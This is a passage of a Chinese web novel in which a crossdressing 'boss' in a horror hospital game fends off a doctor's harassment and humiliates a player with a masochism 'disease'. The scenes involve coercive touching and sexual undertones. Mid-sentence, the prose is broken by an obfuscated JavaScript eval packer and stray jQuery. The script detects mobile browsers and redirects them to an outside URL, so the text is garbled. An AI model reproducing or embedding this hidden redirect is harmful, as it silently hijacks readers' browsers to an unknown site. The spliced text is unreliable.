罗荔倏地低了下头。
平胸怎么啦!
而且而且而且,也没有很平吧……
不对。
自己可是个男孩子。不平才奇怪呢。
康驯这个傻瓜。
不过,也幸好他是个傻瓜,所以没有多想。
要是真的怀疑起他是不是男扮女装,那可就糟糕了。
傅时越也是愣了一下,随后挑挑眉峰:“我又没有嫌弃荔荔的意思。”
他的目光在罗荔的胸口驻留片刻,意味深长道,“而且,对我来说,正好。”
一口的大小,很合适。
康驯啧了一声。
什么叫对他来说?他有这个资格吗就对他来说?
玩家之间互相看不见对方的病症,所以他不知道傅时越患有臆想症。
不过看罗荔这个反应,康驯笃定傅时越不是“她”真正的男朋友。
“一个医生,却在这儿性骚扰护士。”康驯不屑道,“可真有你的。”
傅时越的笑瞬间僵住。
“我只是觉得荔荔最近和别的男人走得太近了。我总得保护好自己的女友,免得‘她’被不三不四的人觊觎,不是么?”
傅时越停顿了一下,语气放得更加温和:“荔荔别闹。我们好好谈谈,好吗?”
康驯看不惯他这臭德行,出声打断:“傅时越,我看你是窃取了医生的身份吧。”
早就感觉哪里不对劲,三间病房六个床位,怎么会只有五个玩家。
这么想来,既然陆妍妍能拿到护士的身份自由行动,那别人未必不可以。
床位空了一张,很可能,有人在刚刚进入游戏的时候已经替换了病人的身份,溜出了病房。
大概就是这位32岁的主任医师,傅时越了。
傅时越慢慢将白大褂披上,脸上毫无波澜:“是又如何?我不在意你们几个怎么通关,只是想做好我自己的事情而已。”
“呵,是么?”
孟虎死的蹊跷,有本事杀死他的,康驯一直以为是潜伏在医院里的怪物。
但现在看来,这个早早脱离正常游戏主线,以医生的身份自由活动,甚至能制造出鬼打墙的傅时越……也相当可疑。
如果是他对孟虎下手,那就是玩家间的自相残杀。
不过,获取了医生的身份,也不一定就是便利。
游戏中,拿到了什么身份就得遵从这个身份的设定,如果不按照身份办事,就会被处罚。
所以……
“叮。”
诊室内又传来那机械的提示音,“门诊结束,请下一位患者前往诊室就诊。”
康驯看了一眼罗荔:“还愣着干什么?给你的检查已经做完了。”
这也就意味着,医生傅时越不能再继续把罗荔留在诊室。
被他抓住了弱点,傅时越的脸色立即阴沉下来。
他抬起胳膊,想再一次拉住罗荔的手,把他留在这里。
小护士瞬间炸毛,“走开!”
他这一挣扎,口袋里的小皮鞭掉了出来。这时才想起这个道具,不假思索地捡起,像是抓住救命稻草一样握进手中。
看见小皮鞭,康驯有点无语。
他会用吗?不会是觉得这东西能防身吧?
在傅时越掌心碰到罗荔肩膀的一刹那,小护士屏住呼吸,举起小皮鞭甩了出去。
这一抽太仓促,很尴尬地抽空了。
康驯啧了一声,臭着俊脸拦在了罗荔面前:“姓傅的,我说你有完没完——”
“啪!”
下一刻,肩膀传来一阵轻微的刺痛感。
那鞭子是软革制的,卯足了力气,也能抽出清脆的响声。
罗荔没想到康驯会挡在自己身前,刚刚闭着眼睛再抽的这一鞭,结结实实地打在了他宽阔的背肌上。
完、完蛋了。
傲慢凶悍的青年眉心紧皱,摸了一下自己的后背,额角青筋突突乱跳。
他本来就长得吓人,现在脸色一沉,半张棱角分明的凶狠面孔都笼罩在阴翳下,犬齿咬得咯咯响。
罗荔彻底懵逼,恨不得找个地缝钻进去。
紧张地埋下了小脑袋,心虚道:“我打偏了……”
他心里已经在哀嚎了。
以康驯那个脾气,这下肯定要发飙。
他掀起薄薄眼皮撩了康驯一眼,还没来得及看清他的脸色,就被对方强行握住了手腕。
青年声音狠戾:“快点,给我离开这儿。”
罗荔不敢再耽搁,连忙从最近的走廊拐出去,离开了门诊。
刚刚踏出拐角,周围那些暗红色的叫人不安的悬挂灯带顿时消失了,周围又再次被医院惨白的环境光所笼罩。
他们终于逃离鬼打墙了。
罗荔如释重负般松了口气,指缝里汗津津的,不知不觉已经惊出一身冷汗。
回头望去,康驯在他身后不远处,扶着墙面,额角渗出几颗冷汗。
青年焦躁地扯松了领口,露出一截麦色的、筋络分明的脖颈,耳根泛起一股不正常的红色,恶戾的狼眼挑起锐利的锋芒。
他不断抓着后背的某个地方,喉结上下滚动,喉咙里溢出几声闷哼。
罗荔疑惑地望着他,忽然意识到了什么。
他抓挠着的地方……是刚刚被自己用小皮鞭误伤过的位置。
正不知所措着,却见一个新的弹窗跳了出来。
【玩家:康驯】
【病症:受虐癖(40)】
【注意:该病症会使玩家产生被被粗鲁对待的冲动。对一般人来说的侮辱性举动,如辱骂、殴打、嘲笑、强迫羞辱等,将会使该玩家产生异常的性兴奋。】
【伴随着被侮辱的次数增多,该玩家的病重值也会随之增长】
罗荔蒙圈了。
这病症弹窗出现的太突然,他一点准备都没有。
还在发愣的间隙,康驯忽然一个跨步,上前将他逼近角落。
“药。”
青年犬齿紧咬,很不客气地向他伸出手,“把药给我。”
见罗荔漂亮湿润的杏眼茫然地眨了眨,他愈发不耐烦:“你不是已经给凌屿喂过药了么?现在,把药给我。”
那种能缓解玩家病症的药,现在的确还在罗荔身上藏着。
但是……
007忽然开口:“提醒一下,得到药物也是玩家积分结算的统计点。”
也就是说,他作为boss,最好还是不要让玩家得到药物。
不过这个人刚刚还帮自己摆脱了傅时越。
罗荔有点于心不忍。
正犹豫不决着,康驯却倏地捏住了他的下巴。
“我真是看不懂你。”
“在傅时越面前搞得好像很不情愿的样子,可是对那个凌屿,又主动得很。”
“我只是找你讨个药都不行?”
青年唇瓣发干,舌尖抵着犬齿,焦躁地磨。
“他可是亲了你的嘴。”
灼热
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723225|173928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的吐息拂在罗荔的面颊上,他别扭地转过头去,而康驯又不依不挠地压下身子,逼近他。
“我可都看见了,你和那个医生干了什么事。”
“我把你带出来,你是不是特别不情愿啊?”
喑哑的声音贴着罗荔的耳畔:“……我看你坐在他腿上的时候,腰摇得挺欢的啊。”
罗荔听清楚他在说什么,耳廓即刻染上浓郁的红。
果然,就不该对这家伙抱有什么怜悯!
那、那就别怪他了!
小护士的唇肉咬出浅浅的牙痕,攥紧粉拳。
“你……才不配让我喂药。”
他的心跳到了嗓子眼,声音细细的,却有种叫人心痒的蛮横。
“你又没有凌屿有钱,性格也没有傅时越好。最多,算,算一条野狗。”
罗荔不敢直视他,在心里慌张地编着措辞。
“要是想要吃药,你得……求我才行。”
康驯怔了一下,齿缝间溢出一声嗤笑:“求你?你简直——”
“就是得求我!”
罗荔打断了他,鼓起勇气挺起小身板,“不仅要求,还要……还要学狗叫。”
这是他能想到最侮辱人的事情了。
不过,康驯真的会这么做吗?
感觉有点荒唐。
他心里很是没底。
一阵长久的死寂之后,康驯勾起一个冷笑。
“……行。我求你,给我药。”
唇瓣贴在罗荔耳根,轻轻吠了一声:“汪。”
……只是这样?
罗荔看着他那张盛满恶劣的面庞,好像根本没有受到病重值升高的影响。
他有点慌了。
难道是系统的判断出错了?或者是自己的方法有问题?
慌忙道:“不,不对。你这样还不像。嗯……你还得像狗狗一样,对我摇尾巴才可以。”
康驯眉眼间立即染上浓重的戾气。
“你别得寸进尺。”
外面传起一阵刺耳的警报声。
大逃杀结束了,看起来,是剩下的几名玩家赶到了这里。
通过余光,罗荔看到了来人,应该是凌屿他们。
几名玩家三三两两地结伴而行,正在往这个方向走来。
这是康驯得到药物的最后时机。
“你满意了?”
青年撑着墙面,声音极具威压感,“你是不是想让我当着他们的面,像狗一样对你摇尾巴?”
罗荔其实没这么大的胆子。
他刚想认怂拒绝,却见面前凶神恶煞的青年,缓缓蹲了下来。
就蹲在了在他脚边,犬齿咬得咯吱咯吱响。
……随后,像狗一样,摆动起自己劲瘦有力的,肌肉块垒分明的腰肢。
似乎在摇动着那条看不见的尾巴。
罗荔呆滞在原地,事情发展完全超出了他的预料。
但是,他总不能在这时候让康驯站起来。
索性把戏做全套,故作满意道:“哼……尾巴摇快一点好不好,真没用。”
他偷偷觑着剩下几位玩家到来的方向。
这下,他们大概真的会看见这一幕……
只不过,这么对待康驯,真的能让他的病重值升高吗?
外表上可是一点都看不出来。感觉他很不服的样子。
“会。”
007开口,声音冰冷,带着一点不易察觉的鄙夷。
“他现在爽死了。”